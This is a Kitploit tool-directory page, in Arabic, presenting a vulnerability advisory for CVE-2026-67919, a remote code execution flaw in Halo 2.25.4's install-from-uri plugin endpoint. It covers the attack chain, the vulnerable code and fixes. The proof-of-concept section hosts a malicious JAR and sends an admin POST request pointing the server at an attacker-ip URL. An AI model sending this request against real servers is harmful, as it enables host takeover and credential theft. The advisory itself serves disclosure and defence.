Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
halo-2.25.4-CVE-2026-67919 — يُظهر ثغرة تنفيذ الأوامر عن بُعد المُصادَق عليها في Halo 2.25.4 عبر تثبيت URI للمكوّن الإضافي دون تحقق، بما في ذلك التحليل الفني واستغلال إثبات المفهوم. | Kitploit
أدوات/GitHubGitHub/unpredictable21/halo-2.25.4-cve-2026-67919
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubunpredictable21/halo-2.25.4-cve-2026-67919

halo-2.25.4-CVE-2026-67919

يُظهر ثغرة تنفيذ الأوامر عن بُعد المُصادَق عليها في Halo 2.25.4 عبر تثبيت URI للمكوّن الإضافي دون تحقق، بما في ذلك التحليل الفني واستغلال إثبات المفهوم.

عرض المستودع
منذ 17 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

تنفيذ التعليمات البرمجية عن بُعد (RCE) عبر تثبيت إضافات من URI غير مُتحقق منه في Halo 2.25.4

1. ملخص الثغرة الأمنية

تم تحديد ثغرة أمنية حرجة في إصدار Halo 2.25.4. يوفر التطبيق نقطة نهاية إدارية لتثبيت أو ترقية الإضافات من URI عن بُعد. ومع ذلك، يفشل النظام في التحقق من نطاق مصدر URI ويفتقر إلى حمايات تزوير الطلبات من جانب الخادم (SSRF) على هذا المكوّن المحدد. يمكن للمهاجم المُصادَق الذي يمتلك صلاحيات إدارة الإضافات توفير رابط لملف JAR خاص بإضافة تم إنشاؤه بشكل خبيث. سيقوم الخادم بتنزيل الملف وتخزينه مؤقتًا وتحميله ديناميكيًا في سياق JVM باستخدام إطار عمل PF4J و DefaultPluginApplicationContextFactory الخاص بـ Spring. وهذا يسمح بتنفيذ فئات امتداد غير موثوقة، مما يؤدي إلى تنفيذ تعليمات برمجية عشوائية عن بُعد (RCE) على نظام التشغيل المضيف الأساسي.

2. تفاصيل الثغرة الأمنية

  • نوع الثغرة: حقن التعليمات البرمجية / تنفيذ التعليمات البرمجية عن بُعد (RCE)
  • معرف CWE: CWE-94: التحكم غير السليم في توليد التعليمات البرمجية ('حقن التعليمات البرمجية') / CWE-434: رفع ملف غير مقيد بنوع خطير
  • الخطورة: 🔴 حرجة
  • درجة CVSS v3.1 التقديرية: 9.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
  • الإصدار المتأثر: Halo 2.25.4 (وربما الإصدارات السابقة التي تدعم تثبيت الإضافات عبر URI)
  • معرف CVE: CVE-2026-67919
  • 3. المكوّنات المتأثرة

    يرجى الفصل بفواصل عند التقديم إلى نموذج CVE:

    Plaintext

    root@kitploit:~
    PluginEndpoint.java, installFromUri method, DefaultPluginApplicationContextFactory
    

    4. ناقل الهجوم

    يمكن للمسؤول المُصادَق إرسال طلب HTTP POST مُصمم يحتوي على عنوان URL خبيث لملف JAR لإضافة عن بُعد إلى نقطة النهاية /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri.

    5. التحليل الفني وسلسلة الهجوم

    يحدث تنفيذ التعليمات البرمجية عن بُعد من خلال التسلسل التالي من العمليات:

    1. استقبال نقطة النهاية: تقوم طريقة PluginEndpoint.installFromUri() بمعالجة نص الطلب الوارد (InstallFromUriRequest) واستخراج سلسلة uri المقدمة من المستخدم. لا يتم تطبيق أي تصفية لقائمة النطاقات المسموح بها.
    2. استرجاع الملفات غير المحمي: يتم تمرير URI المستخرج إلى DefaultReactiveUrlDataBufferFetcher.fetch(uri). على عكس مكوّنات الشبكة الداخلية الأخرى في Halo، لا يستدعي هذا الجالب HttpSecurityUtils.secureHttpClient()، متجاوزًا قيود عناوين IP الخاصة بالشبكة الداخلية/الحلقة المحلية (حماية SSRF).
    3. الحفظ المحلي للملف: تتم كتابة المحتوى المتدفق الذي تم تنزيله من URI البعيد إلى دليل مؤقت محلي على الخادم المضيف عبر writeToTempFile(content).
    4. التحميل الديناميكي للفئات: يمرر التطبيق المسار المؤقت إلى pluginService.install(path)، والذي يستخدم JarPluginLoader الخاص بـ PF4J لفك ضغط ملف JAR وتحميله.
    5. تسجيل وتنفيذ Spring Bean: بمجرد أن ينتهي PF4J من تحميل السياق، يقوم DefaultPluginApplicationContextFactory الخاص بـ Spring تلقائيًا بتحليل البيانات الوصفية داخل ملف plugin.yaml الخاص بالإضافة وتسجيل جميع فئات الامتداد المعلنة في سياق التطبيق كـ Active Spring Beans.
    6. تشغيل تنفيذ التعليمات البرمجية: سيتم تنفيذ أي تعليمات برمجية خبيثة موضوعة داخل كتل التهيئة الثابتة لفئة الامتداد (static {}) أو كتل الطرق المُعلَّمة بـ @PostConstruct فورًا أثناء إنشاء المثيل عبر Runtime.getRuntime().exec().

    مقطع الكود المصدري المعرض للخطر (PluginEndpoint.java الأسطر 422-428):

    Java

    root@kitploit:~
    var content = request.bodyToMono(InstallFromUriRequest.class)
        .map(InstallFromUriRequest::uri)
        .flatMapMany(reactiveUrlDataBufferFetcher::fetch);  // Unvalidated network fetch
    return Mono.usingWhen(writeToTempFile(content), pluginService::install, this::deleteFileIfExists);
    

    6. إثبات المفهوم (PoC)

    الخطوة 1: استضافة الأداة الخبيثة

    يقوم المهاجم بتجميع ملف JAR قياسي لإضافة PF4J/Halo (poc-plugin.jar) يحتوي على فئة امتداد مع آلية تنفيذ حمولة داخل خطاف دورة حياة @PostConstruct أو كتلة ثابتة. يستضيفه المهاجم على مستمع خارجي:

    Bash

    root@kitploit:~
    python3 -m http.server 9999
    

    الخطوة 2: تشغيل الثغرة الأمنية

    يرسل المستخدم الإداري المُصادَق الطلب التالي إلى خادم Halo المستهدف:

    HTTP

    root@kitploit:~
    POST /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri HTTP/1.1
    Host: <target-ip>:8090
    Authorization: Bearer <ADMIN_TOKEN_HERE>
    Content-Type: application/json
    
    {
      "uri": "http://<attacker-ip>:9999/poc-plugin.jar"
    }
    

    الخطوة 3: النتيجة المتوقعة

    يعالج الخادم التثبيت، ويجلب الأداة من خادم المهاجم، ويسجل الامتداد، وينفذ أمر النظام المُجمَّع، مما يعرض الخادم المستهدف للاختراق.

    image
    image

    7. التأثير

    • اختراق النظام: وصول كامل إلى البنية التحتية للاستضافة أو حاوية Docker بصلاحيات عملية التطبيق.
    • سرقة البيانات: تعرض مباشر لقواعد البيانات الخلفية وبيانات اعتماد التطبيق الحساسة ومفاتيح التكوين (application.yaml) والملفات المخزنة.
    • الحركة الجانبية: يمكن استخدام الخادم كمحور لشن هجمات على شبكات المواقع الداخلية نظرًا لأن آلية التنزيل يمكنها الوصول إلى نقاط نهاية الحلقة المحلية أو البنية التحتية الداخلية متجاوزة قواعد الخروج القياسية.

    8. توصيات المعالجة

    1. فرض قوائم النطاقات المسموح بها المطلقة: فرض قواعد تحقق صارمة على وسيطة uri الواردة. قصر مخططات التثبيت عن بُعد على أسواق النظام البيئي الرسمية الموثوقة والمتحقق منها (مثل https://awesome.halo.run).
    2. دمج أدوات الجلب الآمنة: إعادة هيكلة DefaultReactiveUrlDataBufferFetcher لاستخدام أداة HttpSecurityUtils.secureHttpClient() الحالية لإسقاط الطلبات الموجهة إلى الحلقة المحلية (127.0.0.1) أو العناوين المحلية الارتباطية (169.254.169.254) أو شبكات الفئات الخاصة (10.0.0.0/8, 192.168.0.0/16).
    3. التحقق المشفر من الإضافات: تنفيذ معيار للتحقق من التوقيع الرقمي لوحدات JAR الخارجية. يجب أن يتحقق سياق JarPluginLoader من تجزئات الملفات أو التوقيعات المشفرة مقابل المفاتيح العامة المقدمة من المستودع الرسمي قبل تمريرها إلى DefaultPluginApplicationContextFactory لإنشاء السياق.
    تنزيل الأداة